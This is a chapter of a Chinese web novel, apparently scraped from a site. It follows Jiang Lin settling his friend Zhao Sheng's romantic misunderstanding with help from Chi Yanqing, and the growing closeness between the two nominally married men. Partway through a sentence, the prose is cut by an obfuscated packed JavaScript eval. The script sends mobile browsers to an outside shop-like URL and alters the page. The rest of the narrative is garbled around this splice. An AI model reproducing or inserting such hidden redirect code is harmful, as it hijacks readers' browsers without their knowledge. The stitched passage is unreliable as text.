看了没一会儿,屏幕上面弹了一条消息。 他点开,看见备注眼睛一亮。 刚过六点,池砚青应该是醒来就给他回消息了。 【眼罩洗过放沙发上了】 蒋凛看着窗外慢慢升起的太阳,突然觉得很刺眼,赵晟客卧也没人住,连个窗帘都没有。 【太巧了,我还没睡呢,刚躺下】 【一宿没睡?】 【赵晟失恋了,哭天喊地的,折腾一晚上了】 【赶紧睡,别玩手机了】 蒋凛感觉池砚青在他身边安监控了,怎么连他玩手机的事都知道。 他沉默的时候,池砚青下一条也发过来了。 【睡醒再跟我说,我可以帮他问问任倾】 任倾就是女人的名字。 蒋凛心里一阵热乎。 搁蒋凛自己,他宁可让赵晟说不够义气,也不会主动去麻烦池砚青。 池砚青就是看出来了,主动点破了,替他张了嘴。 蒋凛打字。 【等他酒醒了我问问】 【嗯,睡吧】 蒋凛摸了摸脑门,感觉有点凉,里头跟有人开演唱会似的,嗡嗡嗡的,乱了套了都。 他放下手机,闭眼躺着,不知道过了多久才浑浑噩噩地睡着。 再睁眼天半亮不亮的,蒋凛恍惚还以为自己压根没睡呢。 屋外赵晟也醒了,正肿着俩眼睛吃盒饭呢,看见他,嘟嘟囔囔喊了声:“凛哥!” “吃你的,”蒋凛直奔卫生间,“一次性牙刷还有吗?” “我家从来没有那玩意,”赵晟说,“老庄回家了,他闺女想他了,哇哇哭。” 蒋凛拿了个纸杯,往嘴里挤了点牙膏,糊弄着漱了口,才说:“你昨晚上也没比他闺女强多少。” 赵晟吃完饭,俩人在沙发上坐下,蒋凛问他怎么回事,昨天光顾着哭了屁都没说。 “我跟她聊了这么长时间,我寻思说说我的想法吧,结果她说她一直拿我当弟弟,我们两个不合适。”赵晟说着说着就又要哭。 蒋凛赶紧拦了一把:“然后呢?” “我说我们见面聊,她说不用见面了,她没那方面的想法,我不是她理想型……” “哪方面不是啊?”蒋凛仔细端详了一下,赵晟长得算小帅,外形跟蒋凛自个儿比不了,但放人群里也是突出的。 “她没说,”赵晟窝窝囊囊地吸着鼻子,“我想跟她见面说说,要还是不行,我也不缠着她了。” 蒋凛想了想,说:“池老师说能帮你问问,但你也别抱太大希望,人家要是不愿意谁也没办法。” “我靠,”赵晟感动地看着他,“凛哥,你嫁的可太好了,我兄弟媳妇真够意思!” 蒋凛现在听不得这四个字,套在他跟池砚青谁身上都太奇怪了。 “嘴闭上吧,”他笑骂了句,“人家最看不上的应该就是你这个智商。” 20.第二十章 为了这点事,蒋凛今天没去酒吧,从赵晟家回来就开车到了池砚青家。 睡了一白天,到家重新洗了个澡,又往嘴里塞了俩小面包,他才觉得活了过来。 看见沙发上放着的眼罩,蒋凛拿起来在眼睛上试了试,松紧挺舒服的,他直接拿到自己屋,放枕头旁边了。 平时他起得晚,上午有窗帘屋里也亮,以前在自己家的时候他都戴眼罩。 现在搬了过来,眼罩找不着了,他也想不起来买个新的,糊弄着一直凑合睡。 但现在有了,肯定是睡得更舒坦了。 池砚青到家的时候,蒋凛刚打扫完,今天他白天没在家,就没让保洁过来。饭他也顺手做了。 饭桌上,池砚青每盘菜都尝了,蒋凛自己饿得不行,先吃饱了,这会儿就是坐椅子上陪他呢。 等他吃得差不多了,蒋凛才问,他做的怎么样。 “挺好的,”池砚青说,“青菜炒得不错。” “还是有点糊了,”蒋凛反思了一下,“可能油少了。” “正常,我做饭有时候也糊一点。” 他这么说,但蒋凛一次也没吃着过池砚青的“失败品”。 这回是池砚青去洗碗,洗完问蒋凛等会有安排么,蒋凛说没有。 俩人坐下,开始谈赵晟的事。 对他还没帮上池砚青什么忙,就得先麻烦池砚青这件事,蒋凛是有不好意思的,但该办的还得办,话他都想好了。 “他就想问问,能不能见一面,吃个饭什么的都行。”蒋凛说。 “就这个?”池砚青看他。 “就这个,人要是不愿意,就拉倒了,”蒋凛没铺垫,说得简单,“你不用说太多。” 池砚青直接当着他面给任倾发了消息。 任倾更直接,给他回了个电话,笑着问:“蒋凛是不是在你旁边呢?” 离得太近,蒋凛不想听也听得清楚,这话一出,俩人对视一眼。 蒋凛主动开口,也笑着说:“我俩刚说完,任姐,你想跟晟儿见面么?” “就问这个?”任倾跟池砚青一样,也挺惊讶。 池砚青按了免提,把手机放在俩人中间。 “说别的都是道德绑架了,”蒋凛拄着沙发,微微弯腰说,“任姐,今天池老师在这儿呢,赵晟的事你想问什么都行,我肯定跟你实话实说。问完了你说不想见也没事,我去跟他说,我保证他以后肯定不烦你。” “哎呦,这么会说话呢,”任倾笑得更大声了,“行,我问你一个事儿吧。” 蒋凛扯了下嘴角:“你问。” 任倾:“他那天喝多了跟我说,以前天天晚上跑出去约会,这事儿你知道么?” 任倾话说完蒋凛就乐了,用口型跟池砚青说“有门儿”。 池砚青靠着沙发,把手机又往他那边挪了挪。 “我知道,我俩高中就是同学,他屁大点事我都知道,”蒋凛拿起来说,“他那时候就总‘约会’了。” 任倾:“这么出息?” “可太出息了,”蒋凛故意寒碜赵晟,“高中那会儿就爱喝酒,学校里边查得严,家里边管的更严,他都偷摸上我跟庄礼年家喝。” “个酒蒙子,但凡能喝着酒,搁他嘴里都算‘约会’。” 听着挺离谱的,但蒋凛一句谎没撒,让池砚青留在这一起打电话,就是想做个见证。 他撒谎了,池砚青肯定看得出来,看出来了不可能不告诉任倾。 任倾也明白这个道理,安静几秒,声音高了点儿:“这样啊,那是我误会了。” 蒋凛顺势交代,“他算是我们仨里最老实的那个了。任姐,他可能爱面子不说,但我跟你交个底,这小子一回恋爱没谈过,手都没牵过,纯着呢。” 任倾听了心里舒服多了,逗他:“他纯着呢,你不纯啊?” 蒋凛咳了一声,偏过头笑:“任姐,池老师在这儿呢,你想听我怎么说?” “实话实说,我替砚青也把把关。” “纯不纯也跟你没关系,”池砚青淡淡地打断她,“还有要问的么?” “哎哟,砚青这护的,可不敢问了。” 蒋凛八面玲珑的,随口圆场:“任姐,池老师没那个意思。” “你没有我知道,他肯定有,今天居然没冷嘲热讽我,砚青也是温和了,”任倾几句话把俩人逗个遍,“行了,蒋凛,你不用惦记了,这人以后归我管了。” 池砚青不置可否,喝着水也不搭理她。 蒋凛捧着说:“任姐大气了,以后有什么事随时找我,我跟老庄肯定随叫随到。” 挂了电话,蒋凛还有点不真实。 这就解决了,合着就是一个小误会。 他把手机递给池砚青,心情挺好地说:“等着吧,不出一个小时,赵晟就得打电话给我叫义父。” 池砚青把手机放到一边,说了声:“蒋老板。” 上回这么叫他还是俩人闹别扭的时候,蒋凛搓了搓胳膊,扭头问他:“干嘛呀,这么喊我怪紧张的。” “你什么时候不紧张,”池砚青笑了声,“没事,喊一声。” “太正式了,你还是叫蒋凛吧,不行小蒋小凛都行,再不济喊声同学,我也能回一句池老师……” 蒋凛说着说着自己都笑了,俩人认识时间也不短了,他还是客客气气一口一个池老师的,不知道的以为多不熟呢。 池砚青说:“你刚才状态挺像老板的。” “跟任倾说话的时候?” “嗯。” “赵晟看上了,我当哥的也不能给他拖后腿,”蒋凛说,“跟谈生意没多大区别,捧两句顺两句的,事儿就成了。” 池砚青问:“也这么捧过我?” “哪方面的?我也分人,分时候,”他这么问,蒋凛说得谨慎,“我先坦白,你做饭是真好吃。” 池砚青视线落在他脸上:“不用刻意顺着我,我没她那么烦人。” “任倾刚才可不是那么说的,”蒋凛乐了,“池老师,撒谎可不好啊。” 池砚青笑笑,不接他这句。 算是默认了任倾的话,池砚青在外人眼里确实算不得“温和”。 十二月份了,供暖温度开到了最高,屋里有二十六七度,俩人晚上在家都穿着短袖。 也是头回在沙发上挨着坐,蒋凛为了接电话又往池砚青那边挪了两回,现在近得再挪点儿能坐人腿上了。 蒋凛刚才没发现还好,这会儿发现了就有点尴尬了。 他不是什么心思单纯没有欲望的人,但越这样,他越不想让池砚青觉得他就是冲着肤浅的那一套去的。 “想什么呢?”池砚青拿起遥控器,似乎不觉得现在这个距离有什么问题,他说了个名字,“你之前看的是这个吗?” 蒋凛想起来这是上回他跟池砚青说过的,他看了好几回的电视剧剧名。 “是这个,看着解闷儿挺有意思的,”蒋凛借着拿手机的动作站起来,再坐下的时候把距离拉开了点儿,“你记性真好,我当时就随口一说。” 池砚青点开第一集播着,音量调低。 偏头看着他说:“给你打个车?” 蒋凛对池砚青偶尔的冷幽默一点抵抗力没有,扑哧乐了出来:“不用了,打车太远了,我自己走两步就行了。” 说着也觉得太明显了,好像嫌弃人似的,就又往回挪了点距离。 “刚太近了,”蒋凛坐得板正,话也板正,“我有点热。” “身上热还是心里热?”池砚青问他。 这句话就太直接了,蒋凛脑子里“嗡”一下,本来不热的地儿也让人说热了。 两个名义上结了婚、关系还悬着的成年男人,坐一起,还差点挨上,加上这句话,蒋凛脑子里的思绪打着车就开远了。 什么阶段该干什么他太清楚了,真有点什么反应就太丢脸了,他赶紧刹车,笑得几分讨饶:“别闹我了池老师,给我留点儿面子吧。” 池砚青把音量调高了点,笑了声,没说话。 今天晚上池砚青没去书房加班,反而跟蒋凛一起在客厅看了两个小时的电视剧。 刚好是刑侦类型的,跟心理学也沾点边。 蒋凛怕他无聊,借着机会偶尔问他两句专业问题,池砚青虽然主修不是犯罪心理学,但这种基础问题也都能简单易懂地给他解释明白。 晚上到时间,关了电视,道了晚安,各自回卧室休息。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952235|192040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天睡得早,明天蒋凛估摸着自己七点多就能醒,北方黑天长,七点多外边还没多亮堂呢。 他躺下闭上眼睛,不一会儿功夫翻了两个身,最后还是拿起眼罩戴上了。 说不定他明天就睡了个懒觉呢。 赵晟的电话第二天中午才打过来,开头第一句就是“义父!”。 说昨天任倾给他打完电话,他太高兴了,在楼下跑了两个多小时,累得回家就睡着了,睡到现在。 “草履虫的脑子,快乐就是简单。”蒋凛随口寒碜人。 他正吃午饭呢,他自己做的三明治。 之前在家提过一嘴,说最近馋这个了,但是不知道为什么他自己做就不好吃。池砚青听完给他发了具体步骤,告诉他酱都放哪了,放多少。 正巧蒋凛今天想起来了,自己做了一回,还真挺好吃的。 赵晟激动劲儿还没过呢,也听不出来他话里有话,兴冲冲地说:“凛哥,我想带任姐去你酒吧聚聚,给老庄也喊上。你什么时候有空?把我兄弟媳妇也带上!” 一串话说完蒋凛都挑不出该从哪句开始骂他。 “任姐让你问的?” “靠,你咋知道?!咱俩是不是心有灵犀了哥哥!” “滚蛋,你什么时候提前问过我有没有时间。” 赵晟要是馋酒了,能在早上七点就跑蒋凛家敲门,让人带自己喝酒去。 至于蒋凛方不方便,赵晟想法很简单,蒋凛不方便就直接跟他说呗,他扭头下楼找别人喝也一样。 “下周我都有空,你们俩什么时候来都行,”蒋凛说,“池老师我不保证。” “怎么不保证啊?我凛哥说话不好使?”赵晟不理解。 “任姐能看上你,你跟老庄祖坟前些年可能是一起冒的烟,”蒋凛没跟他解释这不是好不好使的问题,只说:“你把我原话告诉她就行了,任姐听得懂。” 挂了电话,蒋凛看了眼日历。 搬过来住也快一个月了。 天天行程记录早出晚归的地方都是池砚青家,池砚青说过,顺利的话一个月左右的记录就够用。 过几天他把记录往上一交,上边通过之后,他就得搬回去了。 这么想着,蒋凛下午特意回了趟家,叫保洁把房子里里外外都擦洗了一遍。 他看了眼外边的天气,发微信提醒池砚青晚上可能下雪,还拍照片给他看了自己落在家里的眼罩,说找着了。 小心思一点也不藏着掖着。 池砚青果然问他回家干什么去了。 蒋凛一本正经地发消息。 【我找人来收拾收拾,快一个月没回来了,落灰了都】 池砚青过了会儿才回他。 【想家了?】 蒋凛没料到是这么个走向,捧着手机笑半天才打字。 【还行,家里连口热乎饭都没有,也没那么想】 【晚上回来么?】 【今天看店,得后半夜回】 【明天想吃什么,我下班顺路买菜】 蒋凛琢磨了一会儿,发了几个菜过去,池砚青说知道了。 他放下电话,才忽然意识到,跟池砚青“点菜”这件事,他居然已经习惯了。 最开始那几次他还有点不好意思,但池砚青问的一直都很自然,之后做饭也不觉得他等着吃是什么不公平的事儿,更没主动提过让他分担,仿佛在家里就应该是池砚青做饭。 仅有的几次他下厨要么是他兴致上来了,要么是池砚青没在家,他主动做的。 …… 庄礼年之前笑话他给人当舔狗,没人惯着他,这会儿蒋凛心里止不住地琢磨。 他也就态度上“舔”了点儿,真摊到生活方方面面上,他投入的精力跟池砚青的一比,可能还得倒欠池砚青不少。 老庄眼皮子还是太浅了,他能兴致不减地热乎这么长时间,怎么可能吃着亏。 要搬出来的失落顿时散了,蒋凛三两下给自己哄好,在脑海里计划着分开之后要怎么约见面,刚要收起手机,微信就响了一声。 他点开看,是池砚青的消息。 【时间不够,行程记录没通过】 【回来顺便把上次落下的东西带过来】